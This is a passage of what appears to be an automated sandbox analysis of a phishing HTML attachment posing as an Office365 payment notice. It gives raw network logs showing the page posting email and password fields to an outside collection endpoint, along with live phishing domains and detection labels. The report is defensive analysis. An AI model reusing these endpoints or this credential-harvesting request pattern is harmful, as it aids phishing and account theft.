cloudflare CF-RAY: 8f41cd8f0f604344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2271&min_rtt=2270&rtt_var=852&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1322&delivery_rate=1286343&cwnd=47&unsent_bytes=0&cid=238bf05503102ecc&ts=1038&x=0"
2024-12-18 20:11:36 UTC	66	IN	Data Raw: 33 63 0d 0a 20 20 0d 0a 4f 6e 65 20 6f 72 20 62 6f 74 68 20 6f 66 20 74 68 65 20 76 61 6c 75 65 73 20 27 75 73 72 6e 27 20 61 6e 64 20 27 70 73 72 64 27 20 61 72 65 20 6d 69 73 73 69 6e 67 2e 0d 0a Data Ascii: 3c One or both of the values 'usrn' and 'psrd' are missing.
2024-12-18 20:11:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49843	172.67.165.105	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:35 UTC	684	OUT	POST /app/stiktk.php HTTP/1.1 Host: ajx6f16w140.chiliesdigital.co.za Connection: keep-alive Content-Length: 38 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:35 UTC	38	OUT	Data Raw: 75 73 72 6e 3d 67 6c 6f 62 61 6c 25 34 30 70 72 6f 6d 65 74 68 65 75 73 6c 61 62 73 2e 63 6f 6d 26 70 73 72 64 3d Data Ascii: usrn=global%40prometheuslabs.com&psrd=
2024-12-18 20:11:36 UTC	961	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:11:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r3zbOEGVNyGmqcwhMfXJpRXUSXiPOtV%2FYX3c5I6aPsnDhyhjDIFRhaFh24OHZTxLPR3azmzCF15LZmaGLabTwkogocsYH9ivIhnimGgYhk%2BW9U5xaJ4Yqi4NWTotLCO3fJejQ%2Fk5IwYWNq0eF7eKEQVjIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41cd8f0ecd42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1605&rtt_var=652&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=1322&delivery_rate=1819314&cwnd=239&unsent_bytes=0&cid=f07532d9f7c67353&ts=970&x=0"
2024-12-18 20:11:36 UTC	66	IN	Data Raw: 33 63 0d 0a 20 20 0d 0a 4f 6e 65 20 6f 72 20 62 6f 74 68 20 6f 66 20 74 68 65 20 76 61 6c 75 65 73 20 27 75 73 72 6e 27 20 61 6e 64 20 27 70 73 72 64 27 20 61 72 65 20 6d 69 73 73 69 6e 67 2e 0d 0a Data Ascii: 3c One or both of the values 'usrn' and 'psrd' are missing.
2024-12-18 20:11:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49855	104.21.81.229	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:39 UTC	370	OUT	GET /app/stiktk.php HTTP/1.1 Host: ajx6f16w140.chiliesdigital.co.za Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:40 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:11:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NW%2F42T8buraGcirA3MWTrJwGVCLTABM31nXheIxTFzGKMPRj9Yvpik4iMXN13fb3CA34omXBU5ngJGm41yduaX7HGvcj3mdz3vI95u6vb4p2X9HBhXhlZAWGHWDtqAmxP5mwA2Y8Z1ItQTg6L%2FaMpqceXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41cda4893842c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1688&rtt_var=651&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=948&delivery_rate=1658148&cwnd=231&unsent_bytes=0&cid=1d0afde24afb0f89&ts=984&x=0"
2024-12-18 20:11:40 UTC	66	IN	Data Raw: 33 63 0d 0a 20 20 0d 0a 4f 6e 65 20 6f 72 20 62 6f 74 68 20 6f 66 20 74 68 65 20 76 61 6c 75 65 73 20 27 75 73 72 6e 27 20 61 6e 64 20 27 70 73 72 64 27 20 61 72 65 20 6d 69 73 73 69 6e 67 2e 0d 0a Data Ascii: 3c One or both of the values 'usrn' and 'psrd' are missing.
2024-12-18 20:11:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49865	104.21.81.229	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:42 UTC	370	OUT	GET /app/stiktk.php HTTP/1.1 Host: ajx6f16w140.chiliesdigital.co.za Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:43 UTC	964	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:11:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GykQ6Tqd2nkUu2WhoA7HRdmW0wdkHkwYx4rPOXcUIZbq41Cu9OgZtyCXxdqGKlLAUh9gvRLNuiqdZ15so0sZLaBWm7upG92P8mWwS%2FdLGG2hE%2B0nBrsQGZNAVa%2Bsr6wfmH16S%2F8CCia7MG1GFL%2FesahvZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41cdbb4dbb1865-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&min_rtt=1480&rtt_var=561&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=948&delivery_rate=1938911&cwnd=195&unsent_bytes=0&cid=38b5a742e48a9854&ts=955&x=0"
2024-12-18 20:11:43 UTC	66	IN	Data Raw: 33 63 0d 0a 20 20 0d 0a 4f 6e 65 20 6f 72 20 62 6f 74 68 20 6f 66 20 74 68 65 20 76 61 6c 75 65 73 20 27 75 73 72 6e 27 20 61 6e 64 20 27 70 73 72 64 27 20 61 72 65 20 6d 69 73 73 69 6e 67 2e 0d 0a Data Ascii: 3c One or both of the values 'usrn' and 'psrd' are missing.
2024-12-18 20:11:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49878	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:48 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 71 79 48 63 6d 35 79 34 55 43 2f 42 58 4f 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 39 31 33 34 33 35 30 62 38 37 35 38 31 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: MqyHcm5y4UC/BXOl.1Context: 8d9134350b875810
2024-12-18 20:11:48 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-18 20:11:48 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 71 79 48 63 6d 35 79 34 55 43 2f 42 58 4f 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 39 31 33 34 33 35 30 62 38 37 35 38 31 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4d 6f 6a 30 46 37 61 76 44 66 38 69 4e 77 69 34 66 44 4d 31 4e 4d 4e 39 59 31 6a 58 5a 61 50 4b 6b 6f 69 38 43 4a 35 69 55 69 6f 4e 69 4f 68 66 61 42 6b 54 51 75 6b 68 54 43 76 54 4b 2f 58 4c 78 6f 30 65 6e 50 79 59 6e 59 78 72 7a 31 2f 53 47 42 6d 62 69 38 66 70 2b 76 78 48 39 70 4b 49 77 6f 57 49 4f 72 69 4c 4f 6a 4c 6e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: MqyHcm5y4UC/BXOl.2Context: 8d9134350b875810<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASMoj0F7avDf8iNwi4fDM1NMN9Y1jXZaPKkoi8CJ5iUioNiOhfaBkTQukhTCvTK/XLxo0enPyYnYxrz1/SGBmbi8fp+vxH9pKIwoWIOriLOjLn
2024-12-18 20:11:48 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 71 79 48 63 6d 35 79 34 55 43 2f 42 58 4f 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 39 31 33 34 33 35 30 62 38 37 35 38 31 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: MqyHcm5y4UC/BXOl.3Context: 8d9134350b875810<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 20:11:49 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 20:11:49 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 66 76 45 4f 72 62 77 6d 30 53 4d 72 68 44 47 57 64 69 4f 52 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: yfvEOrbwm0SMrhDGWdiORA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49722	74.120.190.204	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:12:02 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-12-18 20:12:02 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49961	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:12:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 69 57 68 32 53 45 73 39 75 6b 79 47 77 55 67 73 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 36 32 35 37 35 65 65 36 35 61 30 37 35 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: iWh2SEs9ukyGwUgs.1Context: d562575ee65a075f
2024-12-18 20:12:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-18 20:12:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 69 57 68 32 53 45 73 39 75 6b 79 47 77 55 67 73 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 36 32 35 37 35 65 65 36 35 61 30 37 35 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4d 6f 6a 30 46 37 61 76 44 66 38 69 4e 77 69 34 66 44 4d 31 4e 4d 4e 39 59 31 6a 58 5a 61 50 4b 6b 6f 69 38 43 4a 35 69 55 69 6f 4e 69 4f 68 66 61 42 6b 54 51 75 6b 68 54 43 76 54 4b 2f 58 4c 78 6f 30 65 6e 50 79 59 6e 59 78 72 7a 31 2f 53 47 42 6d 62 69 38 66 70 2b 76 78 48 39 70 4b 49 77 6f 57 49 4f 72 69 4c 4f 6a 4c 6e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: iWh2SEs9ukyGwUgs.2Context: d562575ee65a075f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASMoj0F7avDf8iNwi4fDM1NMN9Y1jXZaPKkoi8CJ5iUioNiOhfaBkTQukhTCvTK/XLxo0enPyYnYxrz1/SGBmbi8fp+vxH9pKIwoWIOriLOjLn
2024-12-18 20:12:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 69 57 68 32 53 45 73 39 75 6b 79 47 77 55 67 73 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 36 32 35 37 35 65 65 36 35 61 30 37 35 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: iWh2SEs9ukyGwUgs.3Context: d562575ee65a075f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 20:12:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 20:12:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 2b 67 4a 6e 64 6a 75 31 55 53 44 30 6d 46 73 4f 72 78 52 6f 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: i+gJndju1USD0mFsOrxRog.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50049	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:13:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 2f 66 68 52 4b 71 6f 61 30 43 45 6f 75 59 59 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 65 66 61 34 35 39 30 32 66 34 39 62 38 36 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: D/fhRKqoa0CEouYY.1Context: 5efa45902f49b86f
2024-12-18 20:13:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-18 20:13:02 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 2f 66 68 52 4b 71 6f 61 30 43 45 6f 75 59 59 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 65 66 61 34 35 39 30 32 66 34 39 62 38 36 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4d 6f 6a 30 46 37 61 76 44 66 38 69 4e 77 69 34 66 44 4d 31 4e 4d 4e 39 59 31 6a 58 5a 61 50 4b 6b 6f 69 38 43 4a 35 69 55 69 6f 4e 69 4f 68 66 61 42 6b 54 51 75 6b 68 54 43 76 54 4b 2f 58 4c 78 6f 30 65 6e 50 79 59 6e 59 78 72 7a 31 2f 53 47 42 6d 62 69 38 66 70 2b 76 78 48 39 70 4b 49 77 6f 57 49 4f 72 69 4c 4f 6a 4c 6e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: D/fhRKqoa0CEouYY.2Context: 5efa45902f49b86f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASMoj0F7avDf8iNwi4fDM1NMN9Y1jXZaPKkoi8CJ5iUioNiOhfaBkTQukhTCvTK/XLxo0enPyYnYxrz1/SGBmbi8fp+vxH9pKIwoWIOriLOjLn
2024-12-18 20:13:02 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 44 2f 66 68 52 4b 71 6f 61 30 43 45 6f 75 59 59 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 65 66 61 34 35 39 30 32 66 34 39 62 38 36 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: D/fhRKqoa0CEouYY.3Context: 5efa45902f49b86f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-18 20:13:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-18 20:13:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 75 77 78 47 67 39 59 71 30 65 71 66 2f 64 4a 70 6e 61 73 49 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: LuwxGg9Yq0eqf/dJpnasIQ.0Payload parsing failed.

Target ID:	1
Start time:	15:10:54
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Payment_Failure_Notice_Office365_sdf_[13019].html"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:10:58
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2296,i,12385093406174341461,14356601096919368634,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://ajx6f16w140.chiliesdigital.co.za/app/stiktk.php	Avira URL Cloud: Label: malware
Source: https://kasumbo.com/smarty/xls_v1.6/tail-spin.svg	Avira URL Cloud: Label: phishing

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/Payment_Failure_... This script exhibits several high-risk behaviors, including dynamic code execution through obfuscation and deobfuscation, potential data exfiltration through the loaded iframe, and the use of suspicious domains. While the script may have a legitimate purpose, the level of obfuscation and the complex URL generation raise concerns about its true intent. Further review is recommended to determine the full scope of the script's functionality and potential risks.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/impact... The script contains heavily obfuscated code, which is a high-risk indicator. It also sends data to an external domain (chiliesdigital.co.za) using XMLHttpRequest, which is a moderate-risk indicator. The domain is suspicious and not widely recognized, adding to the risk. The combination of obfuscation and data transmission to an untrusted domain suggests potentially malicious intent.

Source: Joe Sandbox View	IP Address: 192.229.133.221 192.229.133.221
Source: Joe Sandbox View	IP Address: 108.178.43.142 108.178.43.142

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
